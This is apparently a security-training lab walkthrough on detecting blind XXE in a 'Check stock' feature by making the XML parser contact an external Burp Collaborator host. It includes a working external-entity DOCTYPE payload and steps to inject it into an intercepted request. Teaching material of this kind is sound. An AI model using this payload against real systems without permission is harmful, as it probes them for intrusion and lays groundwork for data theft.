This lab has a "Check stock" feature that parses XML input but does not display the result.
You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.
To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to the public Burp Collaborator server (burpcollaborator.net).
Visit a product page, click "Check stock" and intercept the resulting POST request in Burp Suite Professional.
Go to the Burp menu, and launch the Burp Collaborator client.
Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. Leave the Burp Collaborator client window open.
Insert the following external entity definition in between the XML declaration and the stockCheck element, but insert your Burp Collaborator subdomain where indicated:
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
Then replace the productId number with a reference to the external entity: &xxe;
Go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again.
You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload.